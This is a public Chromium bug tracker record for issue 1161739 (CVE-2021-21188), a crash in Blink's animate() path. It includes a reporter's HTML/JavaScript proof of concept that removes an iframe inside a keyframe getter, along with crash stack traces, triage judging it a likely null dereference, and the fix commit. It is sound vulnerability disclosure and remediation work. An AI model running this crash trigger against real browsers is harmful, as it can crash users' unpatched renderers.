Starred by 2 users

Owner:	kevers@chromium.org
CC:	flackr@chromium.org peria@chromium.org yigu@chromium.org majidvp@chromium.org
Status:	Fixed *(Closed)*
Components:	Blink>Animation
Modified:	Apr 30, 2021
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux, Android, Windows, Chrome, Fuchsia
Pri:	1
Type:	Bug-Security

reward-0
Needs-Feedback
Security_Severity-Low
Security_Impact-Stable
Hotlist-Merge-Approved
allpublic
CVE_description-submitted
Target-88
Target-87
M-88
Release-0-M89
external_security_report
merge-merged-4389
merge-merged-89
CVE-2021-21188

Issue 1161739: Security: UAP in animate

Reported by rapid...@gmail.com on Thu, Dec 24, 2020, 11:47 AM EST

Code

VULNERABILITY DETAILS
Animatable::animate firstly check element->GetExecutionContext(), which whether ExecutionContext is freed or not.[1]
but we call getter after this checking : KeyframeEffect::Create[2] -> EffectInput::Convert[3] ->EffectInput::ParseKeyframesArgument[4]
so it can do ContextDestroyed but in Animation::Create, use it [5][6]

[1] :
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/animatable.cc;drc=9308399e9dc0cd4bbeaf8de34eaa4d1fcdf4a8f7;l=68
[2] :
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/animatable.cc;drc=9308399e9dc0cd4bbeaf8de34eaa4d1fcdf4a8f7;l=71
[3] :
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/keyframe_effect.cc;drc=136fcf40451b2da80d1adc292f43d3cf3b95f0c7;l=116
[4] :
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/effect_input.cc;drc=136fcf40451b2da80d1adc292f43d3cf3b95f0c7;l=669
[5] :
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/animatable.cc;drc=9308399e9dc0cd4bbeaf8de34eaa4d1fcdf4a8f7;l=89
[6] :
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/animation.cc;drc=136fcf40451b2da80d1adc292f43d3cf3b95f0c7;l=270
VERSION
Chrome Version: chrome stable
Operating System: all

REPRODUCTION CASE
```html
<body></body>
<script>
function allociframe(){
  var iframe = document.createElement( "iframe");
  console.log(iframe);
  iframe.height = 0;
  iframe.width = 0;
  //
  document.body.appendChild( iframe );
  return iframe;
}
iframe = allociframe();
c = iframe.contentDocument.createElement("div");
var arr=[];
```

```
arr.__defineGetter__(0,()=>{
    console.log("getter");
    document.body.removeChild(iframe);
    return { transform: 'translate3D(0, -300px, 0)' };
})
c.animate(arr,{
  duration: 3000,
  iterations: Infinity,
  timeline:null
});
</script>
```

log :

```
Received signal 11 SEGV_MAPERR 000000000290
#0 0x7ff743625daf base::debug::CollectStackTrace()
#1 0x7ff7433a23ad base::debug::StackTrace::StackTrace()
#2 0x7ff7433a2368 base::debug::StackTrace::StackTrace()
#3 0x7ff743625868 base::debug::(anonymous namespace)::StackDumpSignalHandler()
#4 0x7ff70d74f390 (/lib/x86_64-linux-gnu/libpthread-2.23.so+0x1138f)
#5 0x7ff71c1ce9ac blink::MemberBase<>::GetRaw()
#6 0x7ff71c2acf25 blink::MemberBase<>::Get()
#7 0x7ff71cd4b21e blink::LocalDOMWindow::document()
#8 0x7ff71ea93c77 blink::Animation::Animation()
#9 0x7ff71eaa3d5b _ZN5blink25MakeGarbageCollectedTraitINS_9AnimationEE4CallIJRPNS_16ExecutionContextEDnRPNS_15AnimationEffectEEEEPS1_DpOT_
#10 0x7ff71ea9eb15 _ZN5blink20MakeGarbageCollectedINS_9AnimationEJRPNS_16ExecutionContextEDnRPNS_15AnimationEffectEEEEPT_DpOT0_
#11 0x7ff71ea9371a blink::Animation::Create()
#12 0x7ff71ea91630 blink::Animatable::animate()
#13 0x7ff711ea3417 blink::(anonymous namespace)::AnimateOperationCallback()
#14 0x7ff715ac8560 v8::internal::FunctionCallbackArguments::Call()
#15 0x7ff715ac6d3f v8::internal::(anonymous namespace)::HandleApiCallHelper<>()
#16 0x7ff715ac4f7a v8::internal::Builtin_Impl_HandleApiCall()
#17 0x7ff715ac4a39 v8::internal::Builtin_HandleApiCall()
#18 0x7ff71550309f Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit
  r8: 0000000000000000  r9: 00007ff6f5a56080 r10: 0000000000000050 r11: 00007ff70b880050
 r12: 00007ff711ea2c70 r13: 000019ac00000000 r14: 00007ffd31c3a1e0 r15: 00007ffd31c3a1e0
  di: 0000000000000290  si: 00000000efcdab90  bp: 00007ffd31c39870  bx: 00007ff7437b0590
  dx: 0000000000000000  ax: 0000000000000290  cx: 0964a123c6fd2c00  sp: 00007ffd31c39870
  ip: 00007ff71c1ce9ac efl: 0000000000010202 cgf: 002b000000000033 erf: 0000000000000004
 trp: 000000000000000e msk: 0000000000000000 cr2: 0000000000000290
[end of stack trace]
```

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?

Reporter credit: Woojin Oh(@pwn_expoit) of STEALIEN

Comment 1 by sheriffbot on Thu, Dec 24, 2020, 11:48 AM EST Project Member

Labels: reward-potential

Comment 2 by ajgo@google.com on Thu, Dec 24, 2020, 2:28 PM EST Project Member

Cc: peria@chromium.org yigu@chromium.org flackr@chromium.org kevers@chromium.org majidvp@chromium.org smcgruer@chromium.org

Components: Blink>Animation

Thanks for the report. I will attempt to repro this after the break, but tentatively assigning as High (renderer RCE).

+peria +yigu as recent committers to Animation::Create
+owners as owners.

Comment 3 by ajgo@google.com on Mon, Dec 28, 2020, 7:48 PM EST Project Member

Crash reproduces on Windows. It is however not a use-after-poison but an access violation.

[Deleted] **windows.asan**

Comment 4 by ajgo@google.com on Mon, Dec 28, 2020, 7:53 PM EST Project Member

(sorry, asan from wrong bug, nothing to see here)

windows-asan.log
6.9 KB View Download

Comment 5 by ajgo@google.com on Mon, Dec 28, 2020, 8:04 PM EST Project Member

Status: Untriaged (was: Unconfirmed)
Labels: Security_Impact-Stable Security_Severity-High OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Windows

So far I can only make this access a small offset from the null pointer so this may be a null-deref and so not a security bug.

It would be good for an owner to take a look as I'm not familiar with this area of chrome.

Comment 6 by ajgo@google.com on Mon, Dec 28, 2020, 8:09 PM EST Project Member

I can only get it to crash here with rcx==0:

```
9:166> r
rax=0000000000000000 rbx=000000000000002a rcx=0000000000000000
rdx=0000000000008000 rsi=00003652f7b22450 rdi=00003652f7b224c8
rip=00007ffc95f89030 rsp=00000050e5ffd188 rbp=0000000000000001
 r8=00000050e5ffd0c8  r9=0000323f5200d970 r10=0000000000ff0000
r11=0000000000008000 r12=0000000000000000 r13=0000040900000000
r14=0000000000000000 r15=00003652f7b22280
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
chrome!views::View::GetNextFocusableView:
00007ffc`95f89030 488b8108020000  mov     rax,qword ptr [rcx+208h] ds:00000000`00000208=????????????????
9:166> k
 # Child-SP          RetAddr               Call Site
00 00000050`e5ffd188 00007ffc`98ebff0a     chrome!views::View::GetNextFocusableView [C:\src\chromium\src\ui\views\view.cc @ 1503]
01 00000050`e5ffd190 00007ffc`98ec676f     chrome!blink::Animation::Animation+0x24a [C:\src\chromium\src\third_party\blink\renderer\core\animation\animation.cc @ 270]
02 00000050`e5ffd1f0 00007ffc`98ebfc8d     chrome!blink::MakeGarbageCollectedTrait<blink::Animation>::Call<blink::ExecutionContext *&,nullptr_t,blink::AnimationEffect
*&>+0xdf [C:\src\chromium\src\third_party\blink\renderer\platform\heap\impl\heap.h @ 569]
03 (Inline Function) --------`--------     chrome!blink::MakeGarbageCollected+0x5 [C:\src\chromium\src\third_party\blink\renderer\platform\heap\impl\heap.h @ 608]
04 00000050`e5ffd240 00007ffc`9a4a3930     chrome!blink::Animation::Create+0x6d [C:\src\chromium\src\third_party\blink\renderer\core\animation\animation.cc @ 230]
```

rapid.pwn: Let me know if you can find a way to control EIP, otherwise I will turn this into a normal crash.

Comment 7 by ajgo@google.com on Mon, Dec 28, 2020, 8:09 PM EST Project Member

Labels: Needs-Feedback

Comment 8 by rapid...@gmail.com on Mon, Dec 28, 2020, 8:13 PM EST

it is similar to this : https://bugs.chromium.org/p/chromium/issues/detail?id=1051748. i don't know clearly a way to control EIP

Comment 9 by sheriffbot on Tue, Dec 29, 2020, 12:47 PM EST Project Member

Labels: M-87 Target-87

Setting milestone and target because of Security_Impact=Stable and high severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 10 by sheriffbot on Tue, Dec 29, 2020, 1:28 PM EST Project Member

Labels: -Pri-3 Pri-1

Setting Pri-1 to match security severity High. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 11 by smcgruer@chromium.org on Tue, Jan 5, 2021, 9:27 AM EST Project Member

Cc: -smcgruer@chromium.org

Comment 12 by xinghuilu@chromium.org on Wed, Jan 13, 2021, 2:37 PM EST Project Member

Status: Assigned (was: Untriaged)
Owner: flackr@chromium.org

flackr@, could you take a look at this issue? Thanks!

Comment 13 by sheriffbot on Thu, Jan 14, 2021, 12:21 PM EST Project Member

flackr: Uh oh! This issue still open and hasn't been updated in the last 21 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 14 by flackr@chromium.org on Thu, Jan 14, 2021, 12:59 PM EST Project Member

Owner: kevers@chromium.org
Cc: -kevers@chromium.org

Kevin, can you have a look at this one? Thanks!

Comment 15 by bugdroid on Mon, Jan 18, 2021, 5:40 PM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/db032cf0a96b0e7e1007f181d8ce21e39617cee7

commit db032cf0a96b0e7e1007f181d8ce21e39617cee7
Author: Kevin Ellis <kevers@chromium.org>
Date: Mon Jan 18 22:39:20 2021

Test for persistent execution context during Animatable::animate.

Prior to the patch, the validity of the execution context was only
checked on entry to the method; however, the execution context can
be invalidated during the course of parsing keyframes or options.
The parsing of options is upstream of Animatable::animate and caught by
the existing check, but invalidation during keyframe parsing could fall
through triggering a crash.

~~Bug: 1161739~~
Change-Id: Ic0fc927d1d6ce902592bf92261fd4c506e96afac
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2636213
Commit-Queue: Kevin Ellis <kevers@chromium.org>
Reviewed-by: Robert Flack <flackr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#844622}

[modify] https://crrev.com/db032cf0a96b0e7e1007f181d8ce21e39617cee7/third_party/blink/renderer/core/animation/animatable.cc
[add] https://crrev.com/db032cf0a96b0e7e1007f181d8ce21e39617cee7/third_party/blink/web_tests/animations/stability/animate-remove-iframe-crash.html

Comment 16 by kevers@chromium.org on Tue, Jan 19, 2021, 10:03 AM EST Project Member

Labels: Merge-Request-89

Fix is in canary build 90.0.4393.0.
Requesting merge into M89 for security fix.

Comment 17 by sheriffbot on Wed, Jan 20, 2021, 10:07 AM EST Project Member

Labels: -Merge-Request-89 Hotlist-Merge-Approved Merge-Approved-89

Your change meets the bar and is auto-approved for M89. Please go ahead and merge the CL to branch 4389 (refs/branch-heads/4389) manually. Please contact milestone owner if you have questions.
Merge instructions: https://www.chromium.org/developers/how-tos/drover
Owners: benmason@(Android), bindusuvarna@(iOS), geohsu@(ChromeOS), pbommana@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 18 by sheriffbot on Wed, Jan 20, 2021, 12:21 PM EST Project Member

Labels: -M-87 Target-88 M-88

Comment 19 by adetaylor@google.com on Wed, Jan 20, 2021, 6:57 PM EST Project Member

Labels: -reward-potential external_security_report

Comment 20 by bugdroid on Thu, Jan 21, 2021, 1:47 PM EST Project Member

Labels: -merge-approved-89 merge-merged-89 merge-merged-4389

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/caa445461d9b0ef3589c22ee1d41ef4a385b87e4

commit caa445461d9b0ef3589c22ee1d41ef4a385b87e4
Author: Kevin Ellis <kevers@chromium.org>
Date: Thu Jan 21 18:47:26 2021

Test for persistent execution context during Animatable::animate.

Prior to the patch, the validity of the execution context was only
checked on entry to the method; however, the execution context can
be invalidated during the course of parsing keyframes or options.
The parsing of options is upstream of Animatable::animate and caught by
the existing check, but invalidation during keyframe parsing could fall
through triggering a crash.

(cherry picked from commit db032cf0a96b0e7e1007f181d8ce21e39617cee7)

~~Bug: 1161739~~
Change-Id: Ic0fc927d1d6ce902592bf92261fd4c506e96afac
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2636213
Commit-Queue: Kevin Ellis <kevers@chromium.org>
Reviewed-by: Robert Flack <flackr@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#844622}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2642976
Auto-Submit: Kevin Ellis <kevers@chromium.org>
Cr-Commit-Position: refs/branch-heads/4389@{#91}
Cr-Branched-From: 9251c5db2b6d5a59fe4eac7aafa5fed37c139bb7-refs/heads/master@{#843830}

[modify] https://crrev.com/caa445461d9b0ef3589c22ee1d41ef4a385b87e4/third_party/blink/renderer/core/animation/animatable.cc
[add] https://crrev.com/caa445461d9b0ef3589c22ee1d41ef4a385b87e4/third_party/blink/web_tests/animations/stability/animate-remove-iframe-crash.html

Comment 21 by kevers@chromium.org on Thu, Jan 21, 2021, 1:50 PM EST Project Member

Status: Fixed (was: Assigned)

Comment 22 by sheriffbot on Thu, Jan 21, 2021, 1:57 PM EST Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 23 by sheriffbot on Fri, Jan 22, 2021, 12:44 PM EST Project Member

Labels: reward-topanel

Comment 24 by amyressler@google.com on Wed, Jan 27, 2021, 7:00 PM EST Project Member

Labels: reward-0

I'm sorry, but the VRP Panel has declined to reward this report as this issue does not appear to be a security bug. We are happy to re-open if you resubmit showing exploitability. Thank you!

Comment 25 by adetaylor@google.com on Fri, Jan 29, 2021, 4:57 PM EST Project Member

Labels: -Security_Severity-High Security_Severity-Low

If this is null pointer deref, it's not a security bug, but bumping down to Low out of an abundance of caution.

Comment 26 by amyressler@google.com on Mon, Feb 1, 2021, 1:59 PM EST Project Member

Labels: -reward-topanel

Comment 27 by adetaylor@google.com on Fri, Feb 26, 2021, 1:08 PM EST Project Member

Labels: Release-0-M89

Comment 28 by adetaylor@google.com on Mon, Mar 1, 2021, 7:29 PM EST Project Member

Labels: CVE-2021-21188 CVE_description-missing

Comment 29 by kevers@chromium.org on Thu, Mar 4, 2021, 1:21 PM EST Project Member

Validation of the fix contained in the following test:
third_party/blink/web_tests/animations/stability/animate-remove-iframe-crash.html

Comment 30 by amyressler@google.com on Tue, Mar 9, 2021, 12:59 PM EST Project Member

Labels: -CVE_description-missing CVE_description-submitted

Comment 31 by sheriffbot on Fri, Apr 30, 2021, 1:51 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot